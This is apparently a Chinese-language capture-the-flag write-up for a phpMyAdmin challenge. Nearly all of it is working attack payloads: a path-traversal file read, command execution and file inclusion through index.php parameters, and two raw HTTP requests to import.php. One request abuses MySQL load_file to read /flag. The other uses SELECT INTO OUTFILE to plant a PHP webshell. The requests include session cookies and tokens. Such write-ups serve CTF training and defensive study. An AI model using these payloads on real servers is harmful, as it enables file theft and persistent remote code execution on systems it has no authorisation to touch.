9_phpmyadmin

by Hence Zhang@Lancet

任意文件读取

漏洞文件位置：

js/get_script.js.php

payload

/js/get_scripts.js.php?scripts[]=../../../flag

代码执行：

漏洞文件位置：index.php

/index.php?copyright=ls

任意文件包含：

漏洞文件位置：index.php

Payload:

/index.php?target=/flag (需要登录)

mysql特性读取flag

payload：

```
POST /import.php HTTP/1.1
Host: 47.105.121.116:9090
Content-Length: 337
Accept: */*
Origin: http://47.105.121.116:9090
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://47.105.121.116:9090/server_sql.php?
db=&table=&server=1&target=&token=cf284318e12bcfe10dd32533655f56c4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: UM_distinctid=164d08792003bd-061c93ec0d52f4-163c6952-13c680-
164d0879201922; CNZZDATA400379=cnzz_eid%3D1600348587-1532506902-
%26ntime%3D1532506902; CNZZDATA1261321738=1277624812-1532531826-
http%253A%252F%252F47.105.121.116%253A9090%252F%7C1532768947;
stylesheet=ayti; PHPSESSID=2bpg7gf6pugfi3sgccioor7uf1; pma_lang=zh_CN;
pma_collation_connection=utf8_general_ci; pma_mcrypt_iv=owZneEpgyyk%3D;
phpMyAdmin=0ui2orvdcimkh396oufbudv7a9bbfgun; pmaUser-1=rh9LS%2FdI1vo%3D;
pmaPass-1=rh9LS%2FdI1vo%3D
Connection: close

is_js_confirmed=0&token=cf284318e12bcfe10dd32533655f56c4&pos=0&goto=server_
sql.php&message_to_show=%E6%82%A8%E7%9A%84+SQL+%E8%AF%AD%E5%8F%A5%E5%B7%B2%
E6%88%90%E5%8A%9F%E8%BF%90%E8%A1%8C&prev_sql_query=&sql_query=select+substr
(load_file('%2Fflag')%2C1%2C32)%3B&sql_delimiter=%3B&show_query=1&ajax_requ
est=true&_nocache=1533218450070728163
```

最终flag的结果可以使用正则匹配在返回值中搜素

mysql 特性写webshell

```
POST /import.php HTTP/1.1
Host: 47.105.121.116:8801
Content-Length: 376
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
Origin: http://47.105.121.116:8801
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
FirePHP/0.7.4
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://47.105.121.116:8801/server_sql.php?
db=&table=&server=1&target=&token=e1d972d6c46e28f82ef11fdcdd4895af
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: UM_distinctid=164d08792003bd-061c93ec0d52f4-163c6952-13c680-
164d0879201922; CNZZDATA400379=cnzz_eid%3D1600348587-1532506902-
%26ntime%3D1532506902; CNZZDATA1261321738=1277624812-1532531826-
http%253A%252F%252F47.105.121.116%253A9090%252F%7C1532768947;
stylesheet=ayti; PHPSESSID=2bpg7gf6pugfi3sgccioor7uf1; pma_lang=zh_CN;
pma_collation_connection=utf8_general_ci; pma_mcrypt_iv=owZneEpgyyk%3D;
pmaUser-1=rh9LS%2FdI1vo%3D; pmaPass-1=rh9LS%2FdI1vo%3D;
phpMyAdmin=31n47qgkf2cqutsbp1v664fjqv8tsv5k
Connection: close

is_js_confirmed=0&token=e1d972d6c46e28f82ef11fdcdd4895af&pos=0&goto=server_
sql.php&message_to_show=%E6%82%A8%E7%9A%84+SQL+%E8%AF%AD%E5%8F%A5%E5%B7%B2%
E6%88%90%E5%8A%9F%E8%BF%90%E8%A1%8C&prev_sql_query=&sql_query=select+'%3C%3
Fphp+phpinfo()%3B%3F%3E'+into+outfile+%22%2Fvar%2Fwww%2Fhtml%2F1.php%22%3B&
sql_delimiter=%3B&show_query=1&ajax_request=true&_nocache=15332206658558362
0
```

访问/1.php 可以执行phpinfo()命令